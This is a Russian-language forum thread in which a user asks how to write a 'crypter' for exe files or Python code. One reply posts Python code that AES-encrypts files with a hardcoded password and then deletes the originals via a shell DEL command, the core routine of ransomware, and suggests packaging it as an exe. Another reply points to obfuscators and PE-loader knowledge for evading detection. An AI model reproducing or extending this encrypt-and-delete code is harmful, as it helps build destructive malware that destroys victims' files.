ВОПРОС · Q&A

Криптор на python

2 ответов 6,3 тыс.
AI-выжимка обсуждения скоро

Краткие тезисы обсуждения со ссылками на ключевые ответы появятся здесь.

Автор вопроса
Как написать криптор exe файлов или кода py на python

Объясните для чайника
 
Я как раз недавно писал нечто подобное. Выбор велик и вам не обязательно так говнокодить, как это сделал я, но с кодом можешь ознакомиться, конечно.

Python:
import os
import pyAesCrypt # Основная штуковина для шифрования, жутко простой модуль

def crypt(): #Функция шифрации файлов

    global list
    global counter

    password = '8949821812876327517298129983712381538913871237126378'
    bufferSize = 512*1024
    pyAesCrypt.encryptFile(str(list[counter]), str(list[counter])+'.aes', password, bufferSize) #Лист здесь выбивает название файла, там я делал функцию перебора файлов в директории
    print('[Crypted]'+str(list[counter])+'.aes')
    os.system('DEL /Q ' + str(list[counter])) #Тут может быть ошибка, посокльку я не гребу, какие там команды в cmd на винде. Удаляет оригинальный файл
Там еще много чего можно дописать, но основная функция шифрования вот.
#UPD: В exe можешь его запихнуть с помощью компилятора pyinstaller, в гугле полно гайдов.
 
Последнее редактирование:
Для скриптовых языков (в том числе и для Python), это называется обфускатор. С сорцами есть, например, PyArmor.
Касательно крипта exe - либо учи формат PE и то, как работают загрузчики и основы ассемблера, либо сразу забей. "Для чайников" тут не прокатит.